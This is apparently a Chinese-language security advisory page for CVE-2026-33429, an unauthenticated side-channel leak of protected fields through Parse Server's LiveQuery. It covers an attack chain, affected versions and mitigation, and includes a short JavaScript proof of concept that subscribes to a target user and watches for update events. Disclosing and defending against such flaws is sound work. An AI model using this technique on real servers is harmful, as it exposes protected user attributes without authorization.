IPBUF安全漏洞报告
English
CVE-2026-33429 CVSS 5.3 中危

CVE-2026-33429 Parse Server 信息泄露漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33429
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

信息泄露Parse ServerLiveQuery侧信道攻击无需认证

漏洞概述

Parse Server 是一个基于 Node.js 的开源后端。在 8.6.54 和 9.6.0-alpha.43 之前的版本中存在信息泄露漏洞。攻击者无需认证即可利用 LiveQuery 的 watch 参数订阅受保护字段。虽然受保护字段的值会从事件负载中被正确移除,但通过监听更新事件的存在或缺失,攻击者可以推断出受保护字段是否发生了变化,从而形成二进制神谕攻击。对于布尔类型的受保护字段,这种变化时机等同于直接泄露了字段的值。

技术细节

该漏洞源于 Parse Server 的 LiveQuery 功能在处理受保护字段时的逻辑缺陷。LiveQuery 允许客户端订阅数据变更。当攻击者订阅一个包含受保护字段(如 ACL 或特定权限字段)的查询时,服务器在返回更新事件时会过滤掉该字段的敏感值。然而,服务器仍会发送“更新”事件通知。攻击者可以通过监听这些事件的频率或存在性,推断受保护字段是否被修改。具体利用时,攻击者无需认证,即可构造特定的订阅请求,持续监听目标对象。如果收到更新事件,说明受保护字段发生了变化;如果没有收到,则未变化。对于布尔值(如 isAdmin=true/false),这种二进制的反馈机制实际上泄露了字段的实际状态或状态变更时机,成功绕过了字段的访问控制保护机制。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标 Parse Server 实例,并确定存在受保护字段(如 isAdmin、emailVerified 等)的类。
STEP 2
步骤2:构造订阅
攻击者利用 Parse SDK 构造一个 LiveQuery 订阅请求,针对包含受保护字段的对象进行监听。
STEP 3
步骤3:监听事件
攻击者无需身份验证,建立连接并监听 'update' 事件。
STEP 4
步骤4:数据推断
当服务器端受保护字段发生变化时,虽然负载中不包含具体值,但攻击者收到 'update' 事件通知,从而推断出字段发生了变化(对于布尔字段即得知当前值)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Conceptual PoC for CVE-2026-33429 // Demonstrates how to subscribe to a protected field and detect changes. const Parse = require('parse/node'); // Initialize Parse Client with public configuration Parse.initialize('YOUR_APP_ID', 'YOUR_JS_KEY'); Parse.serverURL = 'http://localhost:1337/parse'; async function monitorProtectedField() { // Create a query for the target class containing the protected field const query = new Parse.Query('User'); // Ideally target a specific user known to exist query.equalTo('objectId', 'TARGET_USER_ID'); try { // Subscribe to the LiveQuery channel const subscription = await query.subscribe(); console.log('[*] Listening for updates on protected field...'); // Listen for the 'update' event subscription.on('update', (object) => { // The protected field value is stripped from the payload here, // but the fact that this event fired indicates the field changed. console.log('[+] Update event received! The protected field likely changed state.'); console.log('[*] Object data (sanitized):', object.toJSON()); }); } catch (error) { console.error('[-] Subscription failed:', error); } } monitorProtectedField();

影响范围

Parse Server < 8.6.54
Parse Server >= 9.0.0, < 9.6.0-alpha.43

防御指南

临时缓解措施
建议立即升级 Parse Server 至修复版本。如果无法立即升级,应考虑临时禁用 LiveQuery 功能,或通过防火墙规则严格限制访问来源,防止攻击者利用订阅机制探测敏感数据状态。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表